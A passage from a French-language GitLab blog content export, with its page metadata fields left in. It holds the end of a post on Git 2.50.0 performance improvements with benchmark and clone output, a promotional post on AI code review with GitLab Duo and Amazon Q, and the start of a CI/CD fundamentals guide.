--buffer --no-filter\n\n```\n\n\nIl est intéressant de noter que ces résultats indiquent que le temps de calcul est maintenant proportionnel au nombre d'objets pour un type donné plutôt qu'au nombre total d'objets dans le fichier d'empaquetage. Pour plus d'informations, consultez ce [fil de discussion](https://lore.kernel.org/git/20250221-pks-cat-file-object-type-filter-v1-0-0852530888e2@pks.im/).\n\n\n*Ce projet a été mené par [Patrick Steinhardt](https://gitlab.com/pks-gitlab).*\n\n\n## Amélioration des performances lors de la génération de paquets\n\n\nAvec Git, vous pouvez générer une archive d'un dépôt qui contient un ensemble spécifié de références et d'objets accessibles qui l'accompagnent via la commande [`git-bundle(1)`](https://git-scm.com/docs/git-bundle/fr). Cette opération est utilisée par GitLab pour générer des sauvegardes de dépôt et dans le cadre du mécanisme [`bundle-URI`](https://git-scm.com/docs/bundle-uri).\n\n\nPour les grands dépôts contenant des millions de références, cette opération peut prendre plusieurs heures, voire même plusieurs jours. Par exemple, avec le dépôt principal de GitLab ([gitlab-org/gitlab](https://gitlab.com/gitlab-org/gitlab)), les temps de sauvegarde étaient d'environ 48 heures. Des recherches ont révélé la présence d'un goulot d'étranglement des performances en raison de la façon dont Git effectuait une vérification pour éviter que des références dupliquées ne soient incluses dans le paquet. L'implémentation a utilisé une boucle `for` imbriquée pour itérer et comparer toutes les références répertoriées, ce qui a entraîné une complexité temporelle O(N^2). Cette façon de procéder n'est pas adaptée en cas d'augmentation du nombre de références dans un dépôt.\n\n\nDans la version 2.50.0, ce problème a été résolu en remplaçant les boucles imbriquées par une structure de données de mappage, ce qui a permis d'accélérer considérablement le processus. Le benchmark suivant montre l'amélioration des performances lors de la création d'un paquet avec un dépôt contenant 100 000 références :\n\n\n```text\n\nBenchmark 1: bundle (refcount = 100000, revision = master)\n\nTime (mean ± σ): 14.653 s ± 0.203 s [User: 13.940 s, System: 0.762 s]\n\nRange (min … max): 14.237 s … 14.920 s 10 runs\n\nBenchmark 2: bundle (refcount = 100000, revision = HEAD)\n\nTime (mean ± σ): 2.394 s ± 0.023 s [User: 1.684 s, System: 0.798 s]\n\nRange (min … max): 2.364 s … 2.425 s 10 runs\n\nSummary\n\nbundle (refcount = 100000, revision = HEAD) ran\n\n6.12 ± 0.10 times faster than bundle (refcount = 100000, revision = master)\n\n```\n\n\nPour en savoir plus, découvrez notre article de blog qui explique [comment nous avons réduit les temps de sauvegarde du dépôt GitLab de 48 heures à 41 minutes](https://about.gitlab.com/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes/) et consultez ce [fil de discussion](https://lore.kernel.org/git/20250401-488-generating-bundles-with-many-references-has-non-linear-performance-v1-0-6d23b2d96557@gmail.com/).\n\n\n*Ce projet a été mené par [Karthik Nayak](https://gitlab.com/knayakgl).*\n\n\n## Meilleur dégroupage des URI de paquets\n\n\nÀ l'aide du mécanisme [bundle-uri](https://git-scm.com/docs/bundle-uri) dans Git, il est possible de fournir aux clients les emplacements pour récupérer les paquets dans le but d'accélérer les clones et les récupérations. Lorsqu'un client télécharge un paquet, les références sous `refs/heads/*` et les objets qui les accompagnent sont copiés du paquet dans le dépôt. Un paquet peut contenir des références supplémentaires en dehors de `refs/heads/*` telles que `refs/tags/*`, qui sont simplement ignorées lors de l'utilisation de l'URI du paquet sur le clone.\n\n\nDans Git 2.50.0, cette restriction est levée. Par conséquent, toutes les références correspondant à `refs/*` contenues dans le paquet téléchargé sont copiées.\n\n\n[Scott Chacon](https://github.com/schacon), qui a contribué à cette fonctionnalité, montre la différence lors du clonage de [gitlab-org/gitlab-foss](https://gitlab.com/gitlab-org/gitlab-foss) :\n\n\n```shell\n\n$ git-v2.49 clone --bundle-uri=gitlab-base.bundle https://gitlab.com/gitlab-org/gitlab-foss.git gl-2.49\n\nCloning into 'gl2.49'...\n\nremote: Enumerating objects: 1092703, done.\n\nremote: Counting objects: 100% (973405/973405), done.\n\nremote: Compressing objects: 100% (385827/385827), done.\n\nremote: Total 959773 (delta 710976), reused 766809 (delta 554276), pack-reused 0 (from 0)\n\nReceiving objects: 100% (959773/959773), 366.94 MiB | 20.87 MiB/s, done.\n\nResolving deltas: 100% (710976/710976), completed with 9081 local objects.\n\nChecking objects: 100% (4194304/4194304), done.\n\nChecking connectivity: 959668, done.\n\nUpdating files: 100% (59972/59972), done.\n\n$ git-v2.50 clone --bundle-uri=gitlab-base.bundle https://gitlab.com/gitlab-org/gitlab-foss.git gl-2.50\n\nCloning into 'gl-2.50'...\n\nremote: Enumerating objects: 65538, done.\n\nremote: Counting objects: 100% (56054/56054), done.\n\nremote: Compressing objects: 100% (28950/28950), done.\n\nremote: Total 43877 (delta 27401), reused 25170 (delta 13546), pack-reused 0 (from 0)\n\nReceiving objects: 100% (43877/43877), 40.42 MiB | 22.27 MiB/s, done.\n\nResolving deltas: 100% (27401/27401), completed with 8564 local objects.\n\nUpdating files: 100% (59972/59972), done.\n\n```\n\n\nEn comparant ces résultats, nous constatons que Git 2.50.0 récupère 43 887 objets (40,42 MiB) après l'extraction du paquet, tandis que Git 2.49.0 récupère un total de 959 773 objets (366,94 MiB). Git 2.50.0 récupère environ 95 % d'objets en moins et 90 % de données en moins, ce qui est avantageux aussi bien pour le client que le serveur. Le serveur doit traiter beaucoup moins de données à destination du client, et ce dernier doit télécharger et extraire moins de données. Dans l'exemple fourni par Scott, cela a conduit à une accélération de 25 %.\n\n\nPour en savoir plus, consultez ce [fil de discussion](https://lore.kernel.org/git/pull.1897.git.git.1740489585344.gitgitgadget@gmail.com/).\n\n\n*Cette série de correctifs a été fournie par Scott Chacon.*\n\n\n## En savoir plus\n\n\nCet article n'a mis en évidence que quelques-unes des contributions apportées par GitLab et la communauté Git pour cette nouvelle version. Vous pouvez approfondir ce sujet en lisant [l'annonce officielle](https://lore.kernel.org/git/xmqqa5fg9bsz.fsf@gitster.g/) du projet Git et en consultant ces [ressources](https://about.gitlab.com/blog/tags/git/).\n","Découvrez les contributions de l'équipe Git de GitLab et de la communauté Git, dont git-diff-pairs(1) et git-rev-list(1), pour la mise à jour de références par lot.",[1044],"Justin Tobler","2025-07-02",[270,1047,913],"git",{"featured":6,"template":683,"slug":1049},"what-s-new-in-git-2-50-0","content:fr-fr:blog:what-s-new-in-git-2-50-0.yml","What S New In Git 2 50 0","fr-fr/blog/what-s-new-in-git-2-50-0.yml","fr-fr/blog/what-s-new-in-git-2-50-0",{"_path":1055,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1056,"content":1061,"config":1070,"_id":1072,"_type":16,"title":1073,"_source":17,"_file":1074,"_stem":1075,"_extension":20},"/fr-fr/blog/accelerate-code-reviews-with-gitlab-duo-and-amazon-q",{"ogTitle":1057,"ogImage":1058,"ogDescription":1059,"ogSiteName":841,"noIndex":6,"ogType":842,"ogUrl":1060,"title":1057,"canonicalUrls":1060,"description":1059},"GitLab Duo combiné à Amazon Q : optimisez vos revues de code","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750096976/Blog/Hero%20Images/Blog/Hero%20Images/Screenshot%202024-11-27%20at%204.55.28%E2%80%AFPM_4VVz6DgGBOvbGY8BUmd068_1750096975734.png","Découvrez comment optimiser vos revues de code avec des agents d’IA capables d’analyser et de corriger vos merge requests.","https://about.gitlab.com/blog/accelerate-code-reviews-with-gitlab-duo-and-amazon-q",{"title":1057,"description":1062,"authors":1063,"heroImage":1058,"date":1064,"body":1065,"category":697,"tags":1066},"Découvrez comment optimiser vos revues de code avec des agents d’IA capables d'analyser automatiquement vos merge requests et de vous fournir des commentaires complets sur les bogues, la lisibilité et les normes de codage.",[969],"2025-06-27","Les revues de code sont essentielles pour détecter les bogues, améliorer la lisibilité du code et garantir le respect des normes de codage. Elles peuvent toutefois constituer un goulot d'étranglement majeur qui ralentit votre workflow. Lorsque vous devez livrer rapidement des fonctionnalités, attendre que plusieurs membres de l'équipe examinent votre code peut vite devenir une source de frustration. Entre les discussions interminables, les conflits de calendrier et le temps nécessaire pour que tout le monde soit sur la même longueur d'onde, une revue de code simple peut facilement s'étendre sur plusieurs jours, voire plusieurs semaines.\n\nAvec [GitLab Duo combiné à Amazon Q](https://about.gitlab.com/fr-fr/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/), ce scénario appartient maintenant au passé. Notre nouvel outil d'[IA agentique](https://about.gitlab.com/fr-fr/topics/agentic-ai/ \"Qu'est-ce que l'IA agentique ?\") dédié aux clients AWS intervient à chaque étape du cycle de développement logiciel pour effectuer une revue complète de votre code en une fraction du temps qu'il vous faudrait, à vous et vos collègues. En tirant parti des capacités avancées de l'IA agentique, GitLab Duo combiné à Amazon Q rationalise l'ensemble de votre workflow de revue de code et maintient la qualité et la rigueur dont votre équipe a besoin. Vous disposez ainsi d'un relecteur expérimenté et disponible à tout moment, capable d'analyser instantanément votre code, de détecter les problèmes et de fournir des recommandations pertinentes et exploitables.\n\n## Lancement d'une revue de code\n\nComment fonctionne GitLab Duo combiné à Amazon Q ? Imaginons que vous venez de finaliser la mise à jour d'une fonctionnalité via une merge request répertoriant toutes les modifications que vous avez apportées au code. Au lieu de contacter vos collègues et d'attendre qu'ils soient disponibles pour relire votre travail, il vous suffit de saisir une commande rapide directement dans les commentaires : « /q review ». Cette commande suffit pour que l’IA entre en action. \n\n![Déclenchement d'une revue de code à l'aide de GitLab Duo combiné à Amazon Q](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097002/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097002096.png)\n\nL'agent Amazon Q s'active immédiatement et analyse vos modifications. Un message de confirmation vous indique que la revue de code est en cours et, en quelques instants, l'IA examine votre travail ligne par ligne, à la recherche d'erreurs, de bogues et d'anomalies potentiels.\n\nUne fois la revue de code terminée, vous recevez des commentaires détaillés qui couvrent tous les points critiques, conformément aux standards de votre équipe en matière de codage : détection de bogues, amélioration de la lisibilité, erreurs de syntaxe. Chaque retour de l'agent d'IA est contextualisé, avec des suggestions précises pour résoudre ces problèmes. Il vous aide à comprendre facilement ce qui nécessite votre attention et pourquoi.\n\nL'intérêt de cette approche basée sur l'IA agentique est qu'elle gère tous les aspects fastidieux de la revue de code afin que vous puissiez vous concentrer sur ce qui compte le plus : créer des logiciels performants. Vous bénéficiez des avantages d'une revue de code approfondie (détection des bogues améliorée, cohérence du code et code de meilleure qualité) sans perdre de temps. Vos délais de déploiement s'en trouvent considérablement réduits, car vous n'avez plus à patienter pour votre revue de code. Toute votre équipe gagne ainsi en productivité.\n\n## Pourquoi utiliser GitLab Duo combiné à Amazon Q ?\n\nGitLab Duo combiné à Amazon Q transforme votre workflow de développement en profondeur :\n\n* Des revues de code ultra-rapides, sans compromis sur la qualité\n* Une application cohérente des normes sur l'ensemble de votre code source\n* Des commentaires instantanés pour résoudre les problèmes avant qu'ils n'atteignent l'environnement de production\n* Des délais de déploiement réduits pour livrer de nouvelles fonctionnalités, plus rapidement\n* Plus de temps pour se concentrer sur la résolution créative des problèmes plutôt que sur des revues de code répétitives\n\nRegardez cette vidéo et découvrez comment GitLab Duo combiné à Amazon Q peut optimiser votre processus de revue de code :\n\n\u003C!-- blank line --> \u003Cfigure class=\"video_container\"> \u003Ciframe src=\"https://www.youtube.com/embed/4gFIgyFc02Q?si=GXVz--AIrWiwzf-I\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe> \u003C/figure> \u003C!-- blank line -->\n\nPour en savoir plus sur GitLab Duo combiné à Amazon Q, [contactez votre représentant GitLab](https://about.gitlab.com/fr-fr/partners/technology-partners/aws/).",[699,1067,1068,676,675,285,700,1069],"DevSecOps platform","code review","tutorial",{"featured":6,"template":683,"slug":1071},"accelerate-code-reviews-with-gitlab-duo-and-amazon-q","content:fr-fr:blog:accelerate-code-reviews-with-gitlab-duo-and-amazon-q.yml","Accelerate Code Reviews With Gitlab Duo And Amazon Q","fr-fr/blog/accelerate-code-reviews-with-gitlab-duo-and-amazon-q.yml","fr-fr/blog/accelerate-code-reviews-with-gitlab-duo-and-amazon-q",{"_path":1077,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1078,"content":1084,"config":1090,"_id":1092,"_type":16,"title":1093,"_source":17,"_file":1094,"_stem":1095,"_extension":20},"/fr-fr/blog/ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation",{"ogTitle":1079,"schema":1080,"ogImage":1081,"ogDescription":1082,"ogSiteName":841,"noIndex":6,"ogType":842,"ogUrl":1083,"title":1079,"canonicalUrls":1083,"description":1082},"Approche CI/CD : notre guide complet","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Guide complet sur l'approche CI/CD : des principes fondamentaux à la mise en œuvre avancée\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2025-06-25\",\n      }\n                  ","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749660151/Blog/Hero%20Images/blog-image-template-1800x945__26_.png","Découvrez comment transformer vos processus CI/CD en automatisant le développement et la livraison de logiciels tout en renforçant la sécurité des pipelines.","https://about.gitlab.com/blog/ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation",{"title":1079,"description":1082,"authors":1085,"heroImage":1081,"date":1087,"body":1088,"category":764,"tags":1089},[1086],"Sandra Gittlen","2025-06-25","L'adoption des pratiques [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que le CI/CD ?\") a révolutionné la création de valeur dans le développement logiciel. L'époque des déploiements manuels et des défis d'intégration complexes est désormais révolue : aujourd'hui, le développement logiciel moderne met l'accent sur l'automatisation, la fiabilité et la rapidité.\n\nL'approche CI/CD repose sur la mise en place d'un pipeline fluide et automatisé qui permet de transférer le code de l'environnement de développement vers l'environnement de production, tout en intégrant les retours et suggestions de modification en temps réel. L'intégration continue (CI) aide les équipes à détecter rapidement les problèmes avant qu'ils ne deviennent coûteux. Les modifications de code sont fréquemment fusionnées dans un dépôt partagé, puis testées automatiquement et validées. La livraison continue (CD) vient compléter cette démarche. Elle vise à automatiser le processus de déploiement, rendant les sorties de nouvelles versions prévisibles et harmonieuses.\n\nGrâce à un pipeline CI/CD robuste, les équipes peuvent compiler, tester et déployer leurs logiciels sans dépendre de processus manuels ou de chaînes d’outils complexes. L'intégration de l'IA aide à optimiser encore davantage ce processus, en générant automatiquement des pipelines CI/CD qui garantissent la cohérence des contrôles de qualité, de conformité et de sécurité.\n\nDécouvrez dans ce guide tout ce que vous devez sur les pipelines CI/CD modernes, des principes de base aux bonnes pratiques, en passant par les stratégies avancées. Apprenez également comment les grandes entreprises leaders dans leur domaine tirent parti de l'approche CI/CD pour atteindre des résultats impressionnants. À l’issue de cette lecture, vous saurez comment faire évoluer votre environnement [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ?\") afin de développer et de livrer des logiciels de manière [agile](https://about.gitlab.com/fr-fr/topics/ci-cd/continuous-integration-agile/ \"Intégration continue et développement agile\"), automatisée et efficace.\n\n## Qu'est-ce que l'intégration continue ?\n\nL'[intégration continue](https://about.gitlab.com/fr-fr/topics/ci-cd/benefits-continuous-integration/ \"Qu'est-ce que l’intégration continue ?\") (CI) est une pratique qui consiste à intégrer régulièrement les modifications de code dans la branche principale d'un dépôt de code source partagé. Cette intégration s'effectue dès que possible, et fréquemment. Après chaque validation ou merge, les modifications sont automatiquement testées, puis une compilation est déclenchée sans intervention manuelle. Grâce à l'intégration continue, les équipes peuvent identifier et corriger les erreurs, ainsi que les failles de sécurité, plus facilement et beaucoup plus tôt dans le processus de développement.\n\n## Qu'est-ce que la livraison continue ?\n\n[La livraison continue](https://about.gitlab.com/fr-fr/topics/ci-cd/#what-is-continuous-delivery-cd \"Qu'est-ce que la livraison continue ?\") (CD), également appelée *déploiement continu*, automatise le processus de mise en production des applications. Les équipes de développement ont ainsi plus de temps à consacrer au suivi des déploiements en cours pour en garantir la réussite. Avec la livraison continue, les équipes DevSecOps définissent à l'avance les critères de mise à disposition du code. Une fois ces critères remplis et validés, le code est automatiquement déployé dans l'environnement de production. Cette automatisation permet aux entreprises de gagner en flexibilité et de mettre plus rapidement de nouvelles fonctionnalités à disposition des utilisateurs.\n\n## Quel est le lien entre la gestion du code source et l'approche CI/CD ?\n\nLa [gestion du code source (SCM)](https://about.gitlab.com/fr-fr/solutions/source-code-management/ \"Gestion du code source\") et l'approche CI/CD constituent la base des pratiques modernes de développement logiciel. Les systèmes SCM, comme [Git](https://about.gitlab.com/blog/what-is-git-the-ultimate-guide-to-gits-role-and-functionality/ \"Qu'est-ce que Git?\"), offrent une solution centralisée pour suivre les modifications, gérer les versions de code et faciliter la collaboration entre les membres de l'équipe. Lorsqu’un développeur travaille sur une nouvelle fonctionnalité ou une correction de bogues, il crée une branche à partir du code source et apporte ses modifications avant de les [fusionner à l'aide des merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/). Cette stratégie de gestion de branches permet à plusieurs développeurs de travailler simultanément sans interférer avec le code de leurs collègues, tout en maintenant une branche principale stable qui contient un code prêt à être déployé dans l'environnement de production.\n\nL'approche CI/CD automatise les étapes de compilation, de test et de validation du code géré par le système SCM à chaque push de modifications. Lorsqu'un développeur soumet ses modifications de code, le système CI/CD récupère automatiquement le code le plus récent, le combine avec le code source existant, puis exécute une série de vérifications automatisées. Celles-ci comprennent généralement la compilation du code, l'exécution de tests unitaires, l'analyse statique du code et la vérification de la couverture de code. En cas d’échec d’une de ces étapes, l'équipe en est immédiatement informée, ce qui lui permet de résoudre les problèmes avant qu'ils n'affectent d'autres développeurs ou qu'ils n’apparaissent dans l'environnement de production. Cette intégration étroite entre le contrôle de version et l'intégration continue crée une boucle de rétroaction constante qui garantit la qualité du code et prévient l'accumulation de problèmes d'intégration.\n\n## Quels sont les avantages de l'approche CI/CD ?\n\n[L'approche CI/CD apporte de nombreux avantages qui transforment le développement logiciel moderne](https://about.gitlab.com/blog/ten-reasons-why-your-business-needs-ci-cd/) et réduisent considérablement les délais ainsi que les risques associés à la livraison de nouvelles fonctionnalités et corrections de bogues. Grâce à une boucle de rétroaction continue, les équipes DevSecOps peuvent garantir que leurs modifications sont automatiquement validées sur l'ensemble du code source. \n\nRésultat : des logiciels de meilleure qualité, des cycles de livraison plus courts et des sorties de nouvelles versions plus fréquentes pour répondre rapidement aux besoins des utilisateurs et aux demandes du marché.\n\nAu-delà des aspects techniques, l'approche CI/CD favorise une culture de collaboration et de transparence au sein des équipes de développement logiciel. Grâce à une visibilité en temps réel du statut des compilations, des tests et des déploiements, il est plus facile d'identifier et de résoudre les goulots d'étranglement dans le processus de livraison. L'automatisation offerte par l'approche CI/CD réduit également la charge cognitive des équipes de développement qui peuvent ainsi se concentrer sur l'écriture de code plutôt que sur la gestion de processus de déploiement manuels. La satisfaction et la productivité des équipes s’améliorent, tandis que les risques généralement associés aux étapes critiques du processus de publication de logiciel diminuent. Les équipes peuvent expérimenter de nouvelles idées sans craindre de compromettre le projet, sachant que des mécanismes de contrôle robustes, comme les revues de code rapides, sont intégrés au processus. Elles peuvent rapidement annuler les modifications si nécessaire. L'approche CI/CD encourage donc une culture d'innovation et d'amélioration continue.\n\n### Quelles sont les principales différences entre l'approche CI/CD et le développement traditionnel ?\n\nL'approche CI/CD diffère du développement logiciel traditionnel à bien des égards, notamment en ce qui concerne les points suivants :\n\n**Validations fréquentes du code**\n\nDans le développement traditionnel, les équipes de développement travaillent souvent de manière isolée et intègrent rarement leurs modifications dans le code source. Cette situation entraîne des conflits de merge et d'autres problèmes chronophages. Avec l'approche CI/CD, les équipes effectuent régulièrement des push de validation, parfois plusieurs fois par jour. De cette manière, les conflits de merge sont détectés rapidement et le code source est maintenu à jour.\n\n**Réduction des risques**\n\nLes méthodes de développement logiciel traditionnelles reposent sur des cycles de test à rallonge et une planification rigoureuse avant la sortie de chaque nouvelle version. Bien que ce type de développement ait pour objectif de réduire au maximum les risques, il entrave souvent la capacité à identifier et à résoudre les problèmes. À l’inverse, l'approche CI/CD permet de gérer les risques en appliquant de petites modifications incrémentielles. Ces changements, surveillés de près, peuvent être facilement annulés en cas de problème.\n\n**Tests automatisés et continus**\n\nDans le cadre du développement logiciel traditionnel, les tests sont généralement exécutés à la fin du processus de développement, ce qui peut entraîner des retards de livraison et des corrections de bogues coûteuses. L'approche CI/CD, en revanche, intègre des tests automatisés qui sont exécutés en continu tout au long du processus de développement logiciel et déclenchés à chaque validation de code. Cette approche permet aux équipes de développement de recevoir des retours immédiats et d’implémenter rapidement les correctifs nécessaires.\n\n**Déploiements automatisés, reproductibles et fréquents**\n\nL’automatisation des déploiements dans l’approche CI/CD réduit le stress et les efforts habituellement associés aux déploiements massifs de logiciels. Ce processus automatisé est reproductible dans tous les environnements et garantit ainsi un gain de temps, une réduction des risques d’erreurs ainsi qu'une cohérence accrue dans chaque déploiement.\n\n## Quels sont les principes fondamentaux de l'approche CI/CD ?\n\nL'approche CI/CD constitue un framework essentiel pour la mise en place de processus de livraison de logiciels évolutifs et régulièrement mis à jour. Pour les équipes DevSecOps, une maîtrise parfaite de ses concepts fondamentaux est indispensable. Une solide compréhension des principes CI/CD permet aux équipes d'adapter leurs stratégies et leurs pratiques aux évolutions technologiques, en s’affranchissant des limitations des méthodes traditionnelles. \n\n### Qu'est-ce qu'un pipeline CI/CD ?\n\nUn [pipeline CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/) est une série d'étapes (compilation, test et déploiement) qui automatise et rationalise le processus de livraison de logiciels. [Chaque étape agit comme un mur qualité](https://about.gitlab.com/blog/guide-to-ci-cd-pipelines/) et permet de s'assurer que seul le code validé passe à l'étape suivante. Les premières étapes gèrent les vérifications de base, telles que la compilation et les tests unitaires. Les étapes ultérieures, quant à elles, peuvent inclure des tests d'intégration, de performance et de conformité, ainsi que des déploiements échelonnés dans divers environnements.\n\nLe pipeline peut être configuré de manière à nécessiter des approbations manuelles aux points critiques, par exemple avant le déploiement en production, tout en automatisant les tâches routinières. Les équipes de développement obtiennent ainsi un retour rapide sur l'état de leurs modifications. Cette approche structurée assure la cohérence, réduit les erreurs humaines et fournit une piste d'audit claire du transfert des modifications de code de l'environnement de développement vers l'environnement de production. Les pipelines modernes sont souvent implémentés sous forme de code et peuvent ainsi être contrôlés, testés et tenus à jour, de la même manière que le code applicatif.\n\nVoici d'autres termes associés à l'approche CI/CD qu'il est important de connaître :\n\n* **Validation :** une modification apportée au code\n* **Job :** une série d'instructions qu'un runner doit exécuter\n* **Runner :** un agent ou serveur qui exécute chaque job individuellement et qui peut se mettre à l'échelle selon les besoins\n* **Étapes :** un mot-clé qui définit certaines phases spécifiques d'un job, comme la phase de « compilation » et de « déploiement ». Les jobs d'une même étape s’exécutent en parallèle. Les pipelines sont configurés à l'aide d'un fichier YAML nommé `.gitlab-ci.yml`, soumis au contrôle de version et situé à la racine du projet.\n\n![Diagramme représentant un pipeline CI/CD](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673928/Blog/Content%20Images/1690824533476.png)\n\n## Bonnes pratiques pour réussir votre approche CI/CD\n\nVotre maîtrise de l'approche CI/CD dépend grandement des [bonnes pratiques](https://about.gitlab.com/fr-fr/blog/how-to-keep-up-with-ci-cd-best-practices/) que vous mettez en œuvre. \n\n#### Les bonnes pratiques en matière d'intégration continue\n\n* Validez tôt et souvent.\n* Optimisez les étapes du pipeline.\n* Simplifiez et accélérez les compilations.\n* Utilisez les échecs pour améliorer les processus.\n* Assurez-vous que l'environnement de test reflète l'environnement de production.\n\n#### Les bonnes pratiques en matière de livraison continue\n\n* Lancez-vous avec les outils et infrastructures disponibles, puis itérez pour améliorer vos processus.\n* Utilisez le moins d'outils possibles pour optimiser la livraison continue.\n* Surveillez l’avancée des projets en continu afin d’éviter l’accumulation de tickets ou de merge requests.\n* Simplifiez les tests d'acceptation par l'utilisateur et le déploiement vers l'environnement de préproduction grâce à l'automatisation.\n* Automatisez la gestion du pipeline de sortie des nouvelles versions.\n* Mettez en œuvre la surveillance du pipeline pour gagner en visibilité et en productivité. \n\n> ### Pour en savoir plus sur l'approche CI/CD, consultez notre [webinaire « Intro to CI/CD »](https://www.youtube.com/watch?v=sQ7Nw3o0izc).\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe src=\"https://www.youtube.com/embed/sQ7Nw3o0izc?si=3HpNqIClrc2ncr7Y\" title=\"Intro to CI/CD webinar\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Premiers pas avec l'approche CI/CD\n\nPour commencer à utiliser l'approche CI/CD, identifiez un projet simple mais représentatif qui servira de projet pilote. Sélectionnez une application simple avec des exigences de test basiques. Vous pourrez ainsi vous concentrer sur l'apprentissage du fonctionnement des pipelines plutôt que sur des scénarios de déploiement complexes. Assurez-vous que votre code est soumis au [contrôle de version](https://about.gitlab.com/fr-fr/topics/version-control/ \"Qu'est-ce que le contrôle de version ?\") et qu'il comporte des [tests automatisés basiques](https://about.gitlab.com/blog/develop-c-unit-testing-with-catch2-junit-and-gitlab-ci/). Même quelques tests unitaires suffisent pour débuter. L'objectif est de [créer un pipeline basique](https://about.gitlab.com/blog/how-to-learn-ci-cd-fast/) que vous pourrez améliorer progressivement à mesure que vos compétences progressent.\n\nDans le cas de GitLab, le processus commence par la création d'un fichier `.gitlab-ci.yml` dans le répertoire racine de votre projet. Ce fichier YAML définit les étapes de base (comme la compilation, les tests et le déploiement) et les jobs de votre pipeline. Voici un exemple de pipeline simple : l'étape de « Compilation » compile votre code et crée des artefacts, l'étape de « Test » exécute les tests unitaires et l'étape de « Déploiement » effectue le push de votre application vers un environnement de préproduction. GitLab détecte automatiquement ce fichier et commence à exécuter votre pipeline chaque fois que des modifications sont transmises via un push vers votre dépôt. La plateforme fournit des [runners intégrés](https://docs.gitlab.com/runner/) pour exécuter les jobs de votre pipeline, mais vous pouvez également configurer vos propres runners si vous souhaitez davantage de contrôle.\n\nÀ mesure que vous maîtrisez les éléments de base, enrichissez votre pipeline progressivement avec des fonctionnalités plus avancées. Par exemple, ajoutez des contrôles de qualité du code, [le scanning de sécurité](https://docs.gitlab.com/ee/user/application_security/#security-scanning) ou le déploiement automatisé du nouveau code en production. La plateforme DevSecOps de GitLab inclut des fonctionnalités telles que la [gestion de la conformité](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/), les [variables de déploiement](https://about.gitlab.com/fr-fr/blog/demystifying-ci-cd-variables/) et les portes d'approbation manuelle que vous pouvez intégrer à mesure que votre pipeline évolue. Soyez attentif à la durée d'exécution du pipeline et exécutez dans la mesure du possible des jobs en parallèle. Pensez à ajouter des notifications et un traitement approprié des erreurs afin que les membres de l'équipe soient rapidement informés en cas d’échec de pipeline. Commencez à documenter les problèmes que vous rencontrez le plus souvent et les solutions adoptées. Ces données seront très utiles quand votre équipe s'agrandira.\n\n> ### Vous souhaitez en savoir plus sur l'approche CI/CD ? Inscrivez-vous à notre [cours GitLab University gratuit sur l'approche CI/CD](https://university.gitlab.com/courses/continuous-integration-and-delivery-ci-cd-with-gitlab).\n\n## Sécurité, conformité et approche CI/CD\n\nL'un des plus grands avantages de l'approche CI/CD est la possibilité d'intégrer des contrôles de sécurité et de conformité réguliers, et ce dès les premières étapes du cycle de développement logiciel. Dans GitLab, les équipes peuvent utiliser la configuration `.gitlab-ci.yml` pour déclencher automatiquement des scans de sécurité à plusieurs étapes, de la validation initiale du code à son déploiement en production. Les fonctionnalités d'analyse des conteneurs, d'analyse des dépendances et de scanning de sécurité ([Test dynamique de sécurité des applications](https://docs.gitlab.com/ee/user/application_security/dast/) et [Analyseur Advanced SAST de GitLab](https://about.gitlab.com/blog/gitlab-advanced-sast-is-now-generally-available/)) de la plateforme peuvent être configurées pour s'exécuter automatiquement à chaque modification de code afin de rechercher les vulnérabilités, les violations des exigences de conformité et les erreurs de configuration de sécurité. L'API de la plateforme permet l'intégration avec des [outils de sécurité externes](https://about.gitlab.com/blog/integrate-external-security-scanners-into-your-devsecops-workflow/), tandis que les fonctionnalités de couverture des tests garantissent que les tests de sécurité répondent aux seuils requis.\n\nLes rapports de test de sécurité de GitLab fournissent des informations détaillées sur les découvertes de vulnérabilités afin de remédier rapidement aux problèmes de sécurité avant qu'ils n'atteignent l'environnement de production. Le tableau de bord relatif à la sécurité fournit une vue centralisée des vulnérabilités détectées dans les différents projets, tandis que des [stratégies de sécurité peuvent être appliquées](https://about.gitlab.com/blog/how-gitlab-supports-the-nsa-and-cisa-cicd-security-guidance/) via les approbations de merge request et les portes dans les pipelines. GitLab offre plusieurs niveaux de gestion des secrets pour protéger les données sensibles tout au long du processus CI/CD, y compris des journaux d'audit permettant de suivre l'accès à ces secrets. De plus, un contrôle d'accès basé sur les rôles (RBAC) garantit que seuls les utilisateurs autorisés peuvent consulter ou modifier les données de configuration sensibles.\n\nGitLab prend également en charge la génération de [nomenclatures logicielles (SBOM)](https://about.gitlab.com/fr-fr/blog/the-ultimate-guide-to-sboms/), qui fournissent un inventaire complet de l'ensemble des composants logiciels, dépendances et licences dans une application. Elles permettent aux équipes d'identifier et de corriger rapidement les vulnérabilités, ainsi que de se conformer aux exigences réglementaires.\n\n## Approche CI/CD et cloud\n\nLa plateforme CI/CD de GitLab offre une intégration robuste avec les principaux fournisseurs de services cloud, notamment [Amazon Web Services](https://about.gitlab.com/fr-fr/partners/technology-partners/aws/), [Google Cloud Platform](https://about.gitlab.com/blog/provision-group-runners-with-google-cloud-platform-and-gitlab-ci/) et [Microsoft Azure](https://docs.gitlab.com/ee/install/azure/). Les équipes de développement logiciel peuvent ainsi automatiser leurs déploiements cloud directement à partir de leurs pipelines. Grâce aux intégrations cloud de GitLab, elles 